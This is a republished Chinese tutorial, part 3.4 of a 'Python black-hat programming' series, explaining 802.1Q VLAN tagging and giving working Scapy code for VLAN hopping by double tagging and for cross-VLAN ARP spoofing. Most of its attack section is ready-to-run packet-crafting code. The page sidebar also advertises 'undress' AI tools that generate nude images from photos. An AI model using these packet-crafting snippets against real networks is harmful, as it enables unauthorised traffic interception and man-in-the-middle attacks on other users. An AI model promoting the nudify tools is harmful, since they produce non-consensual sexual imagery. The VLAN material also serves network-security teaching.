首頁 後端開發 Python教學 Python黑帽程式設計 3.4 跨越VLAN

Python黑帽程式設計 3.4 跨越VLAN

Feb 24, 2017 pm 03:29 PM

VLAN(Virtual Local Area Network),是基於乙太網路互動技術建構的虛擬網絡,既可以將同一實體網路劃分成多個VALN,也可以跨越實體網路障礙,將不同子網路中的使用者劃到同一個VLAN中。圖2是一個VLAN劃分的例子。

Python黑帽编程 3.4 跨越VLAN

圖2

實作VLAN的方式有很多種,基於交換設備的VLAN劃分,一般有兩種:

l 基於交換器的連接埠分割

l 基於IEEE 802.1q協議,擴展乙太網路封包格式

基於第二層的VLAN技術,有個Trunking的概念,Trunking是用來在不同的交換器之間進行連接,以確保在跨越多個交換機上建立的同一個VLAN的成員能夠相互通訊。其中交換器之間互聯用的連接埠就稱為Trunk埠。除了80.2.1q之外,思科有自己的Trunk協定叫做ISL。

Python黑帽编程 3.4 跨越VLAN

圖3

圖3是802.1q的資料包,和普通的乙太網路幀並沒有本質上的區別,只是增加一個了VLAN Tag。紅色部分的VLAN Identifier識別了一個封包屬於哪個VLAN,從而保證了資料廣播的範圍不會跨越VLAN。

現在做簡單的思考,想要跨越VLAN通信,是不是只要修改封包中的識別碼就可以了呢?

3.4.1 VLAN Hopping

#基於上面的分析,我們考慮一個簡單的場景:跨VLANping,從Vlan1的一個主機發送一個ping請求到Vlan2中的一個主機。

在具體編碼前,我們還是要先解決VLAN封包建構的問題,在Scapy中我們使用Dot1Q類別來建構圖3中的Tag部分。如圖4。

Python黑帽编程 3.4 跨越VLAN

圖4

下面我們可以寫一個跨VLAN的ping請求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)
登入後複製

上面的程式碼我們指定了目標主機的MAC和IP位址,新增了兩個VLAN標識,第一個是傳送資料的主機所在的VLAN,第二個是目標主機所在的VLAN。交換機會移除第一個標識,讀到第二個標識的時候,會轉送該封包到目標主機。

3.4.2 跨VLAN的ARP欺騙

3.1、3.2和3.3節我們都在討論ARP欺騙的問題,由於VLAN限制了廣播域,我們之前的程式碼是無法跨VLAN進行ARP欺騙的。不過要解決這個問題也很簡單,只要在我們先前建構的ARP欺騙資料中插入VLAN識別即可。下面這段程式碼是我們在3.1節建構ARP請求封包的程式碼。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
登入後複製

在建構封包的部分,我們插入VLAN識別:

##

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
登入後複製

這樣就可以實現跨VLAN的ARP欺騙了。


3.4.3 小結

#本節主要講如何建構欺騙VLAN的封包,達到跨VLAN數據通訊和ARP欺騙的目的。需要注意的是,本文的方法主要針對802.1Q協議,對以連接埠進行物理隔離的的VLAN沒有效果。


以上所述是小編給大家介紹的Python黑帽編程3.4 跨越VLAN詳解,希望對大家有幫助,如果大家有任何疑問請給我留言,小編會及時回复大家的。在此也非常感謝大家對PHP中文網的支持!

更多Python黑帽程式 3.4 跨越VLAN相關文章請關注PHP中文網!


本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
1 個月前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

如何解決Linux終端中查看Python版本時遇到的權限問題? 如何解決Linux終端中查看Python版本時遇到的權限問題? Apr 01, 2025 pm 05:09 PM

Linux終端中查看Python版本時遇到權限問題的解決方法當你在Linux終端中嘗試查看Python的版本時,輸入python...

在Python中如何高效地將一個DataFrame的整列複製到另一個結構不同的DataFrame中? 在Python中如何高效地將一個DataFrame的整列複製到另一個結構不同的DataFrame中? Apr 01, 2025 pm 11:15 PM

在使用Python的pandas庫時,如何在兩個結構不同的DataFrame之間進行整列複製是一個常見的問題。假設我們有兩個Dat...

如何在10小時內通過項目和問題驅動的方式教計算機小白編程基礎? 如何在10小時內通過項目和問題驅動的方式教計算機小白編程基礎? Apr 02, 2025 am 07:18 AM

如何在10小時內教計算機小白編程基礎?如果你只有10個小時來教計算機小白一些編程知識,你會選擇教些什麼�...

如何在使用 Fiddler Everywhere 進行中間人讀取時避免被瀏覽器檢測到? 如何在使用 Fiddler Everywhere 進行中間人讀取時避免被瀏覽器檢測到? Apr 02, 2025 am 07:15 AM

使用FiddlerEverywhere進行中間人讀取時如何避免被檢測到當你使用FiddlerEverywhere...

Uvicorn是如何在沒有serve_forever()的情況下持續監聽HTTP請求的? Uvicorn是如何在沒有serve_forever()的情況下持續監聽HTTP請求的? Apr 01, 2025 pm 10:51 PM

Uvicorn是如何持續監聽HTTP請求的? Uvicorn是一個基於ASGI的輕量級Web服務器,其核心功能之一便是監聽HTTP請求並進�...

Python中如何通過字符串動態創建對象並調用其方法? Python中如何通過字符串動態創建對象並調用其方法? Apr 01, 2025 pm 11:18 PM

在Python中,如何通過字符串動態創建對象並調用其方法?這是一個常見的編程需求,尤其在需要根據配置或運行...

哪些流行的Python庫及其用途? 哪些流行的Python庫及其用途? Mar 21, 2025 pm 06:46 PM

本文討論了諸如Numpy,Pandas,Matplotlib,Scikit-Learn,Tensorflow,Tensorflow,Django,Blask和請求等流行的Python庫,並詳細介紹了它們在科學計算,數據分析,可視化,機器學習,網絡開發和H中的用途

什麼是正則表達式? 什麼是正則表達式? Mar 20, 2025 pm 06:25 PM

正則表達式是在編程中進行模式匹配和文本操作的強大工具,從而提高了各種應用程序的文本處理效率。

See all articles